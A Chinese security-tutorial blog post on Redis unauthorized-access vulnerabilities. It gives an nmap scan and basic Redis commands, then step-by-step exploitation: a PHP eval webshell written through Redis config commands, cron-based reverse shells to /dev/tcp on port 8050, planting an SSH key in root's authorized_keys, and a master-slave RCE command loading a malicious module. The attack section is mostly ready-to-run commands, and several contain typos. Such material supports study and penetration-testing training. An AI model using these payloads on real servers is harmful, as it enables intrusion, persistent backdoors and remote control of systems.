网安系列【14】之Redis未授权访问漏洞

文章目录

未授权访问漏洞

  • 未授权访问漏洞可以理解为需要安全配置或权限认证的地址、授权页面存在缺陷。导致其他用户可以直接访问从而引发重要权限可被操作、数据库或网站目录等敏感信息泄露。
常见未授权访问漏洞
Redis 未授权访问漏洞
MongoDB 未授权访问漏洞
Jenkins 未授权访问漏洞
Memcached 未授权访问漏洞
JBOSS 未授权访问漏洞
VNC 未授权访问漏洞
Docker 未授权访问漏洞
ZooKeeper 未授权访问漏洞
Rsync 未授权访问漏洞
Atlassian Crowd 未授权访问漏洞
CouchDB 未授权访问漏洞
Elasticsearch 未授权访问漏洞
Hadoop 未授权访问漏洞
Jupyter Notebook 未授权访问漏洞

未授权访问特征发现

应用 端口
Redis 6379
MongoDB 27017
Memcached 11211
Jboss 8080
VNC 5900、5901
Docker 2375
bash 复制代码
nmap -v -Pn -p 6379 -sV 192.168.1.21
-V:显示过程
-Pn: no ping
-sV:版本探测
bash 复制代码
[root@yang ~]# nmap -v -Pn -p 6379 -sV 192.168.1.21
Starting Nmap 7.70 ( https://nmap.org ) at 2025-07-10 13:57 CST
NSE: Loaded 43 scripts for scanning.
Initiating Parallel DNS resolution of 1 host. at 13:57
Completed Parallel DNS resolution of 1 host. at 13:57, 0.00s elapsed
Initiating SYN Stealth Scan at 13:57
Scanning yang (192.168.1.21) [1 port]
Completed SYN Stealth Scan at 13:57, 2.06s elapsed (1 total ports)
Initiating Service scan at 13:57
NSE: Script scanning 192.168.1.21.
Initiating NSE at 13:57
Completed NSE at 13:57, 0.00s elapsed
Initiating NSE at 13:57
Completed NSE at 13:57, 0.00s elapsed
Nmap scan report for yang (192.168.1.21)
Host is up.

PORT     STATE    SERVICE VERSION
6379/tcp filtered redis

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 2.63 seconds
           Raw packets sent: 2 (88B) | Rcvd: 0 (0B)

Redis

  • Redis是完全开源的,遵守BSD协议,是一个高性能的key-value 数据库。
  • Redis在JavaWeb主要有两个应用场景:存储缓存用的数据、需要高速读/写的场合使用它快速读/写。

Redis常用命令

  • Redis常用命令
bash 复制代码
# Redis常用命令
set testkey "Hello World"       # 设置键testkey的值为字符串Hello World
get testkey                     # 获取键testkey的内容
SET score 99                    # 设置键score的值为99
INCR score                      # 使用INCR命令将score的值增加1
GET score                       # 获取键score的内容
keys *                          # 列出当前数据库中所有的键
get anotherkey                  # 获取一个不存在的键的值
config set dir /home/test       # 设置工作目录
config set dbfilename redis.rdb # 设置备份文件名
config get dir                  # 检查工作目录是否设置成功
config get dbfilename           # 检查备份文件名是否设置成功
save                            # 进行一次备份操作
flushall                        # 删除所有数据
del key                         # 删除键为key的数据

Redis历史漏洞

  • Redis未授权访问:因配置不当可以未经授权访问,攻击者无需认证就可以访问到内部数据,其漏洞可导致敏感信息泄露,也可以恶意执行flushall来清空所有数据,攻击者还可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件。如果Redis以root身份运行,可以给root账户写入SSH公钥文件,直接免密码登录服务器,
  • Redis主从复制RCE:在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言编译并加载恶意.so文件,达到代码执行的目的。

Redis漏洞利用

环境搭建

  • 使用1panel快速安装Redis,并设置无密码访问。

未授权访问 (写webshell)

bash 复制代码
config set dir /var/www/html
config set dbfilname shell.php
set x "<?php @eval($_POST['test']);?>"
save

未授权访问 (反弹shell)

bash 复制代码
redis-cli -h xx.xxx.xxx.xxx
set xxx "\n\n*/* **** /bin/bash -i>&/dev/tcp/xxx.xxx.xxx.xxx/8050 0>&1\n\n"
config set dir /var/spool/cron/crontabs 
config set dbfilename root
save

未授权访问 (写公钥)

bash 复制代码
ssh-keygen -t rsa
# 默认情况下,生成后在用户的家目录下的.ssh目录下
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/foo.txt
cat /tmp/foo.txt | redis-cli -h xx.xx.x.xx -p 6379 -x set crackit

redis-cli -h xx.xx.xx.xx -p 6379
config set dir /root/.ssh/
config set dbfilename "authorized _keys"
save
ssh root@xx.xx.xx.xx -i ~/.ssh/id rsa

未授权访问 (反弹shell)

bash 复制代码
redis-cli -h xx.xx.xx.xx
set x "\n\n*/***** /bin/bash -i>&/dev/tcp/xx.xx.xx.xx/8050 0>&1\n\n"
config set dir /var/spool/cron/crontabs
config set dbfilename root
save

未授权访问 (主从复制RCE)

bash 复制代码
python3 redis-master.py -r xx.xx.xx.xx -p 6380 -L xx.xx.xx.xx -P 1234 -f
RedisModulesSDK/exp.so -c "id"